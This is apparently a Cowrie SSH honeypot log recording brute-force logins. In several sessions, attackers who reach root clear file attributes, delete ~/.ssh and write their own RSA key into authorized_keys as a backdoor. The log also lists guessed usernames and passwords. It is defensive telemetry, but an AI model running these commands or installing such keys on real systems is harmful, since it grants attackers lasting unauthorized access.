{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:23.886256Z","src_ip":"193.32.162.151","session":"858299cf3339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"q1w2e3r4","message":"login attempt [mysql/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:24.241298Z","src_ip":"193.32.162.151","session":"858299cf3339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59940,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5bca3349474","protocol":"ssh","message":"New connection: 80.94.92.186:59940 (10.17.0.5:22) [session: f5bca3349474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:25.285921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:25.342614Z","src_ip":"80.94.92.186","session":"f5bca3349474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:25.350174Z","src_ip":"193.32.162.151","session":"858299cf3339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:25.454711Z","src_ip":"80.94.92.186","session":"f5bca3349474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:26.349447Z","src_ip":"80.94.92.186","session":"f5bca3349474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.59.7.18","src_port":38066,"dst_ip":"10.17.0.5","dst_port":22,"session":"624e5a9e1e14","protocol":"ssh","message":"New connection: 123.59.7.18:38066 (10.17.0.5:22) [session: 624e5a9e1e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:26.699102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:26.703208Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:26.941228Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:27.527691Z","src_ip":"80.94.92.186","session":"f5bca3349474","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"webmaster123","message":"login attempt [root/webmaster123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:30.563716Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.072757Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.075709Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.079165Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.321337Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":42730,"dst_ip":"10.17.0.5","dst_port":22,"session":"552c16e9c6f0","protocol":"ssh","message":"New connection: 92.118.39.72:42730 (10.17.0.5:22) [session: 552c16e9c6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.979548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:31.985829Z","src_ip":"92.118.39.72","session":"552c16e9c6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:32.091214Z","src_ip":"92.118.39.72","session":"552c16e9c6f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:32.360999Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:32.363396Z","src_ip":"123.59.7.18","session":"624e5a9e1e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:32.475215Z","src_ip":"92.118.39.72","session":"552c16e9c6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:33.582989Z","src_ip":"92.118.39.72","session":"552c16e9c6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.59.7.18","src_port":39880,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb17240c57a","protocol":"ssh","message":"New connection: 123.59.7.18:39880 (10.17.0.5:22) [session: 0bb17240c57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:33.828510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:33.832753Z","src_ip":"123.59.7.18","session":"0bb17240c57a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:34.059676Z","src_ip":"123.59.7.18","session":"0bb17240c57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:34.997738Z","src_ip":"123.59.7.18","session":"0bb17240c57a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":53820,"dst_ip":"10.17.0.5","dst_port":22,"session":"901db71f0ce9","protocol":"ssh","message":"New connection: 92.118.39.95:53820 (10.17.0.5:22) [session: 901db71f0ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:23:31.408992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:23:31.432690Z","src_ip":"92.118.39.95","session":"901db71f0ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:23:31.544044Z","src_ip":"92.118.39.95","session":"901db71f0ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:23:32.016580Z","src_ip":"92.118.39.95","session":"901db71f0ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:23:33.123560Z","src_ip":"92.118.39.95","session":"901db71f0ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"760dce08af25","protocol":"ssh","message":"New connection: 40.81.244.142:52562 (10.17.0.5:22) [session: 760dce08af25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:13.600918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:13.605891Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:13.808898Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"gy@123456","message":"login attempt [root/gy@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:14.653279Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.095297Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.098545Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.101647Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.306003Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.745644Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 